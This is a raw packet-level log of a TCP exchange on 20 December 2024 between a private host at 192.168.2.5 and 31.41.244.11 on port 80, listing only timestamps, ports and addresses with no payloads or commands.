Dec 20, 2024 02:11:31.646261930 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.646298885 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.646352053 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.646907091 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.646970034 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.647011995 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.647062063 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.647607088 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.647664070 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.647730112 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.647900105 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.648283005 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.648339033 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.648374081 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.648421049 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.804747105 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.804838896 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.804847956 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.804905891 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.805041075 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.805093050 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.805186987 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.805237055 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.805738926 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.805788994 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.805825949 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.805877924 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.806421041 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.806469917 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.806503057 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.806551933 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.807130098 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.807178020 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.807265043 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.807323933 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.807857037 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.807904959 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.808002949 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.808052063 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.808532000 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.808583975 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.808650017 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.808698893 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.809256077 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.809304953 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.809357882 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.809406996 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.809937954 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.809986115 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.810054064 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.810101986 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.810615063 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.810663939 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.810702085 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.810753107 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.811305046 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.811357021 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.811425924 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.811475992 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.812032938 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.812083960 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.812149048 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.812200069 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.812741041 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.812792063 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.812803984 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.812855005 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.813400984 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.813451052 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.813513994 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.813572884 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.814101934 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.814152002 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.814188957 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.814239979 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.814815044 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.814865112 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.815177917 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.815227032 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.815512896 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.815562963 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.815613985 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.815661907 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.816205025 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.816257954 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.816325903 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.816374063 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.816900969 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.816947937 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.817002058 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.817050934 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.817585945 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.817634106 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.817657948 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.817707062 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.818316936 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.818365097 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.818402052 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.818454027 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.818993092 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.819045067 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.819122076 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.819169044 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.819683075 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.819730997 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.819801092 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.819850922 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.820373058 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.820425987 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.820497036 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.820545912 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.821083069 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.821131945 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.821177006 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.821225882 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.821767092 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.821816921 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.821877003 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.821924925 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.822474957 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.822526932 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.822545052 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.822598934 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.823175907 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.823227882 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.823322058 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.823369980 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.823864937 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.823914051 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.823945999 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.823995113 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.824575901 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.824623108 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.824681997 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.824729919 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.825284004 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.825335979 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.825350046 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.825397015 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.825963974 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.826013088 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.826242924 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.826291084 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.826654911 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.826703072 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.826754093 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.826802015 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.827352047 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.827400923 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.827462912 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.827512026 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.828054905 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.828104019 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.828171015 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.828219891 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.828768969 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.828816891 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.828881979 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.828928947 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.829456091 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.829505920 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.829541922 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.829591036 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.830142021 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.830188990 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.830221891 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.830270052 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.830828905 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.830878019 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.830913067 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.830962896 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.831532955 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.831583023 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.831633091 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.831681013 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.832231045 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.832278013 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.832328081 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.832376957 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.832973957 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.833024979 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.833029032 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.833085060 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.833622932 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.833673954 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.833708048 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.833756924 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.834325075 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.834372044 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.834414005 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.834461927 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.835053921 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.835100889 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.835258007 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.835304976 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.835716009 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.835843086 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.835891962 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.836400986 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.836448908 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.836462975 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.836507082 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.837107897 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.837155104 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.837230921 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.837280989 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.837810993 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.837845087 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.837871075 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.837886095 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.838507891 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.838615894 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.838665962 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.839206934 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.839257002 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.839306116 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.839355946 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.839911938 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.839960098 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.839994907 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.840042114 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.840601921 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.840651035 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.840706110 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.840759993 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.841244936 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.841295004 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.997164965 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.997219086 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.997241974 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.997582912 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.997622013 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.997653961 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.997690916 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.997783899 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.997823954 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.998333931 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.998475075 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.998507023 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.998564005 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.999002934 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.999066114 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.999109983 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.999612093 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.999655962 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.999691010 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.999738932 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.000267982 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.000319004 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.000428915 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.000473976 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.000957966 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.001024961 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.001054049 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.001069069 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.001655102 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.001696110 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.001749992 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.001844883 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.002367020 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.002422094 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.002509117 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.002578020 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.003062963 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.003112078 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.003175020 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.003348112 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.003763914 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.003808975 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.003886938 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.003946066 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.004503965 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.004559040 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.004606962 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.005156994 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.005289078 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.005316973 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.005331993 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.005856991 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.005899906 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.005930901 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.005973101 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.006540060 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.006591082 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.006737947 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.006783962 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.007287979 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.007328033 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.007419109 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.007461071 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.007952929 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.007992983 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.008047104 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.008090019 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.008627892 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.008799076 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.008853912 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.009337902 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.009386063 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.009428978 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.009510994 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.010010004 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.010065079 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.010140896 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.010294914 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.010720968 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.010771036 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.010778904 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.010829926 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.011420965 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.011471033 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.011543989 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.011598110 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.012114048 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.012157917 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.012171030 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.012217045 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.012813091 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.012866020 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.012924910 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.012965918 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.013516903 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.013564110 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.013577938 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.013619900 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.014205933 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.014331102 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.014379025 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.014902115 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.014945984 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.015074968 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.015116930 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.015628099 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.015677929 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.015729904 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.015775919 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.016304970 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.016356945 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.016407013 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.016475916 CET	49875	80	192.168.2.5	31.41.244.11
